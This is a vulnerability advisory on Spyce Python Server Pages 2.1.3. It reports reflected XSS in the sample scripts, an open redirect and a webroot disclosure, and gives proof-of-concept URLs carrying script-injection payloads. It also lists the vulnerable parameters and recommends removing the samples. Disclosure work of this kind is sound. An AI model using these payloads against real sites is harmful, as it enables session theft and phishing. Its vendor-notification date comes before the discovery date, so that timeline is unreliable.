PR08-01: Several XSS, a cross-domain redirect and a webroot disclosure on Spyce - Python Server Pages (PSP)
PR08-01: Several XSS, a cross-domain redirect and a webroot disclosure
on Spyce - Python Server Pages (PSP)
Vulnerability found: 19th December 2007
Vendor informed: 14th January 2007
Vulnerability fixed: the vendor did not respond, however a workaround
has been included in the "Fix" section of this advisory.
Severity: Medium
Description:
All Spyce sample scripts that return client-supplied input back to the
browser are vulnerable to XSS. It is also possible to redirect users to
third-party sites and obtain the webroot path by not submitting required
parameters to certain scripts.
Note: tested on Spyce - Python Server Pages version 2.1.3
The following are only some examples that demonstrate XSS:
http://domain.foo/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal
http://domain.foo/docs/examples/handlervalidate.spy?x=";><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=</textarea><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://domain.foo/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
Other vulnerable scripts and unsanitized parameters:
Script: /demos/chat/
parameter: newline
Script: /docs/examples/formintro.spy
parameter: text1
Script: /docs/examples/formtag.spy
parameter: mytext
parameter: mydate
Script: /docs/examples/redirect.spy
parameter: type
Note: some XSS can only be exploited via POST requests (as opposed to
GET). This could be done by using an embedded HTML form with
"method='POST'" attribute and a JavaScript snippet that causes the form
to auto-submits itself. Such form would be located on a third-party site.
Cross-domain redirect PoC:
http://domain.foo/spyce/examples/redirect.spy?url=www.procheckup.com&type=external
Requesting the following URL returns the server's webroot:
http://domain.foo/spyce/examples/automaton.spy
Consequences:
An attacker may be able to cause execution of malicious scripting code
in the browser of a user who clicks on a link to a Spyce-based site.
Such code would run within the security context of the target domain.
This type of attack can result in non-persistent defacement of the
target site, or the redirection of confidential information (i.e.:
session IDs) to unauthorised third parties.
Attackers can redirect victim users to third-party sites. Such behaviour
can help attackers perform phishing attacks by redirecting the victim to
a spoof login page.
Fix:
Remove sample scripts from live environments.
References:
http://www.procheckup.com/Vulnerabilities.php
http://spyce.sourceforge.net/
Credits: Richard Brain, Jan Fry, and Bruno Kovacs of ProCheckUp Ltd
(www.procheckup.com)
Legal:
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Permission is granted for copying and circulating this Bulletin to the
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